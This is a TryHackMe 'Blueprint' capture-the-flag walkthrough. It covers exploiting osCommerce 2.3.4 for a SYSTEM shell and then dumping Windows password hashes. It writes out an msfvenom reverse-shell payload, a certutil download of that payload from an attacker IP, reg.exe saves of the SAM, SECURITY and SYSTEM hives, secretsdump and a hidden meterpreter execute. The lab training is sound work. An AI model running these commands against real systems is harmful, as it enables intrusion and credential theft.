TryHackMe|Blueprint WriteUp\Walkthrough (English)

BluePrint

Room Link: https://tryhackme.com/r/room/blueprint

=====================================================================

• First start with an Nmap scan. The scan will result in many ports open, however, if you try to work with SMB, you will not get anything. So, we will focus on the web servers present on the machine. You have 3 ports running http 80, 443, and 8080.
• Port 80 doesn’t have anything, even if you tried to run a gobuster on it. Port 443 is the same as port 8080, however, working with port 8080 is easier, as there is no certificate.
• In the main page of port 8080, you will find an index of.

Oscommerce-2.3.4 if you look inside this folder, you will find a bunch of files and a very sad web commerce website. Try and search for “oscommerce-2.3.4”, to see if there are any exploits for it.

Indeed, there are.

• I will work with the exploit No. 44374 from exploit-db. Copy it to your current directory searchsploit -m 44374 and change its name to exploit.py. You need to change a few things in this code, take the code on this page and it will work just fine https://deskel.github.io/posts/thm/blueprint.
• You need to change the base_url and target_url

And fill them with your target IP like so:

Then you need to change the payload

To look something like this

• Now that your exploit is ready, run it by python3 exploit.py

Set up a listener at your machine then go to the link provided to you, and you will get a shell back with the highest privileges in a windows system “NT authority system”.

• Now we need to get the user lab and the administrator’s hash. We can do this by using Metasploit, or by transferring Mimikatz to the target and running it there as we did with Atlas challenge on this blog. Or by using the 3 hives: SAM, SECURITY and SYSTEM. I will explain Metasploit and the 3 hives way because I already did Mimikatz in the Atlas challenge above.
• With Metasploit, you first need to catch a shell from the system using Metasploit’s multi/handler. First, create a payload using msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4443 -f exe -o reverse.exe. 

*Note: make sure to use a port number different than the one in your listener, and make sure that your are using x86 payload, because x64 won’t work. 

• Now transfer this payload to the target using certutil -urlcache -f  http://10.14.62.29:8080/reverse.exe reverse.exe. Now, start msfconsole then use exploit/multi/handler and fill the options. Make sure to set the lhost, lport, and the payload as you did with msfvenom. Then to start the exploit just type reverse.exe on your target, then it will connect back to your meterpreter session.
• Once you get the connection to your system with the target, you will get a meterpreter session with the highest privileges, and you can simply type hashdump and you will get both the hashes you want✨. For Lab hash, you can use crackstation to crack it, it will be ********.
• Using the 3 hives will be as follows: First, you need to download the hives into your machine. Since we have access to the index at port 8080, we can simply download the files from there, but first, we need to save them there. Run these 3 commands:
• reg.exe save hklm\sam C:\xampp\htdocs\oscommerce-2.3.4\sam.save
• reg.exe save hklm\security C:\xampp\htdocs\oscommerce-2.3.4\security.save
• reg.exe save hklm\system C:\xampp\htdocs\oscommerce-2.3.4\system.save

•  Now go to port http://IP:8080/oscommerce-2.3.4/ and download the 3 files.

• Once you have those 3 hives in your machine, use secretsdump.py to dump the hashes like so python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

• There is a different way to solve this challenge using Metasploit. use exploit/multi/http/oscommerce_installer_unauth_code_exec then set the options as shown in the picture below.

• Now that you have a meterpreter session, you can do hashdump, but huh, there is a catch here, since this is not a Windows meterpreter you cannot execute hashdump. So, you will create a payload using msfvenom, as we did in step 7. Upload this executable to your target using upload in meterpreter. Then execute with meterpreter command execute -f reverse.exe -i -H. -H hides the process, -i allows us to interact with the process after we create it, and -f specifies the file.

Here the username is SYSTEM and you cannot run hashdmup as shown in the picture below

But when you get the connection to your multi/handler you will be “NT authority system” and you can dump the hashes.